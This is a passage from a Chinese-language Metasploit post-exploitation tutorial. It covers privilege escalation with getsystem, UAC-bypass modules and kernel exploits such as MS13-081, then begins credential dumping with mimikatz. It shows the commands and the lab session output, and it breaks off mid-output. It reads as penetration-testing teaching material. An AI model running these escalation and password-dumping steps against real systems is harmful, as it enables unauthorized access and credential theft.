  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="45-提权">4.5 提权<a class="anchor" href="#45-提权">#</a></h3>
<p>1.getsystem提权
getsystem工作原理：
①getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
②getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动，导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">getsystem  </span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>2.bypassuac
用户帐户控制（UAC）是微软在 Windows Vista 以后版本引入的一种安全机制，有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行，除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装，并防止无意中更改系统设置。</p>
<p>msf提供了如下几个模块帮助绕过UAC：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf5 auxiliary<span class="o">(</span>server/socks5<span class="o">)</span> &gt; search bypassuac
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">Matching <span class="nv">Modules</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="o">================</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">   <span class="c1">#  Name                                              Disclosure Date  Rank       Check  Description</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">   -  ----                                              ---------------  ----       -----  -----------
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">   <span class="m">0</span>  exploit/windows/local/bypassuac                   2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   <span class="m">1</span>  exploit/windows/local/bypassuac_comhijack         1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass <span class="o">(</span>Via COM Handler Hijack<span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">   <span class="m">2</span>  exploit/windows/local/bypassuac_eventvwr          2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass <span class="o">(</span>Via Eventvwr Registry Key<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">   <span class="m">3</span>  exploit/windows/local/bypassuac_fodhelper         2017-05-12       excellent  Yes    Windows UAC Protection Bypass <span class="o">(</span>Via FodHelper Registry Key<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">   <span class="m">4</span>  exploit/windows/local/bypassuac_injection         2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass <span class="o">(</span>In Memory Injection<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">   <span class="m">5</span>  exploit/windows/local/bypassuac_injection_winsxs  2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass <span class="o">(</span>In Memory Injection<span class="o">)</span> abusing WinSXS
</span></span><span class="line"><span class="ln">14</span><span class="cl">   <span class="m">6</span>  exploit/windows/local/bypassuac_sluihijack        2018-01-15       excellent  Yes    Windows UAC Protection Bypass <span class="o">(</span>Via Slui File Handler Hijack<span class="o">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">   <span class="m">7</span>  exploit/windows/local/bypassuac_vbs               2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass <span class="o">(</span>ScriptHost Vulnerability<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>使用方法类似，运行后返回一个新的会话，<strong>需要再次执行getsystem获取系统权限</strong></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># 示例</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">meterpreter &gt; getuid
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">Server username: SAUCERMAN<span class="se">\T</span>ideSec
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">meterpreter &gt; background
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Backgrounding session 4...
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">msf5 exploit<span class="o">(</span>multi/handler<span class="o">)</span> &gt;  use exploit/windows/local/bypassuac
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/bypassuac<span class="o">)</span> &gt; <span class="nb">set</span> SESSION <span class="m">4</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nv">SESSION</span> <span class="o">=</span>&gt; <span class="m">4</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/bypassuac<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Handler failed to <span class="nb">bind</span> to 192.168.81.160:4444:-  -
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Handler failed to <span class="nb">bind</span> to 0.0.0.0:4444:-  -
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> UAC is Enabled, checking level...
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> UAC is <span class="nb">set</span> to Default
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> BypassUAC can bypass this setting, continuing...
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Part of Administrators group! Continuing...
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Uploaded the agent to the filesystem....
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Uploading the bypass UAC executable to the filesystem...
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Meterpreter stager executable <span class="m">73802</span> bytes long being uploaded..
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Sending stage <span class="o">(</span><span class="m">206403</span> bytes<span class="o">)</span> to 192.168.81.154
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Meterpreter session <span class="m">5</span> opened <span class="o">(</span>192.168.81.160:4444 -&gt; 192.168.81.154:1134<span class="o">)</span> at 2019-06-12 06:31:11 -0700
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Exploit failed <span class="o">[</span>timeout-expired<span class="o">]</span>: Timeout::Error execution expired
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Exploit completed, but no session was created.
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1"># 然后返回新的meterpreter会话，继续执行getsystem本应该会提权成功</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="c1"># 然鹅这里失败了</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>3.内核漏洞提权</p>
<p>无论是linux还是windows都出过很多高危的漏洞，我们可以利用它们进行权限提升，比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等，msf也集成了这些漏洞的利用模块。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; run post/windows/gather/enum_patches  <span class="c1">#查看补丁信息</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf5 &gt; use exploit/windows/local/ms13_053_schlamperei
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf5 &gt; <span class="nb">set</span> SESSION <span class="m">2</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf5 &gt; exploit
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 示例</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">meterpreter &gt; run post/windows/gather/enum_patches
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2871997 is missing
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2928120 is missing
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB977165 - Possibly vulnerable to MS10-015 kitrap0d <span class="k">if</span> Windows 2K SP4 - Windows <span class="m">7</span> <span class="o">(</span>x86<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2305420 - Possibly vulnerable to MS10-092 schelevator <span class="k">if</span> Vista, 7, and <span class="m">2008</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf <span class="k">if</span> XP SP2/SP3 Win 2k3 SP2
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2850851 - Possibly vulnerable to MS13-053 schlamperei <span class="k">if</span> x86 Win7 SP0/SP1
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu <span class="k">if</span> x86 Windows <span class="m">7</span> SP0/SP1
</span></span><span class="line"><span class="ln">17</span><span class="cl">meterpreter &gt; background
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Backgrounding session 4...
</span></span><span class="line"><span class="ln">19</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/bypassuac<span class="o">)</span> &gt; search MS13-081
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">Matching <span class="nv">Modules</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="o">================</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl">   <span class="c1">#  Name                                             Disclosure Date  Rank     Check  Description</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">   -  ----                                             ---------------  ----     -----  -----------
</span></span><span class="line"><span class="ln">26</span><span class="cl">   <span class="m">0</span>  exploit/windows/local/ms13_081_track_popup_menu  2013-10-08       average  Yes    Windows TrackPopupMenuEx Win32k NULL Page
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/bypassuac<span class="o">)</span> &gt; use exploit/windows/local/ms13_081_track_popup_menu
</span></span><span class="line"><span class="ln">30</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/ms13_081_track_popup_menu<span class="o">)</span> &gt; <span class="nb">set</span> session <span class="m">4</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="nv">session</span> <span class="o">=</span>&gt; <span class="m">4</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">msf5 exploit<span class="o">(</span>windows/local/ms13_081_track_popup_menu<span class="o">)</span> &gt; exploit
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> SESSION may not be compatible with this module.
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Handler failed to <span class="nb">bind</span> to 192.168.81.160:4444:-  -
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Handler failed to <span class="nb">bind</span> to 0.0.0.0:4444:-  -
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>-<span class="o">]</span> Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Exploit completed, but no session was created.
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="c1"># 然鹅失败了，摸摸头</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="46-获取凭证">4.6 获取凭证<a class="anchor" href="#46-获取凭证">#</a></h3>
<p>在内网环境中，一个管理员可能管理多台服务器，他使用的密码有可能相同或者有规律，如果能够得到密码或者hash，再尝试登录内网其它服务器，可能取得意想不到的效果。</p>
<p>1.使用mimikatz</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">load mimikatz    <span class="c1">#help mimikatz 查看帮助</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">wdigest  <span class="c1">#获取Wdigest密码</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">mimikatz_command -f samdump::hashes  <span class="c1">#执行mimikatz原始命令</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">mimikatz_command -f sekurlsa::searchPasswords
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 示例</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">meterpreter &gt; load mimikatz
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Loading extension mimikatz...<span class="o">[</span>!<span class="o">]</span> Loaded Mimikatz on a newer OS <span class="o">(</span>Windows <span class="m">7</span> <span class="o">(</span>Build 7601, Service Pack 1<span class="o">)</span>.<span class="o">)</span>. Did you mean to <span class="s1">&#39;load kiwi&#39;</span> instead?
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Success.
</span></span><span class="line"><span class="ln">10</span><span class="cl">meterpreter &gt; wdigest
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Not currently running as SYSTEM
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Attempting to getprivs ...
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Got SeDebugPrivilege.
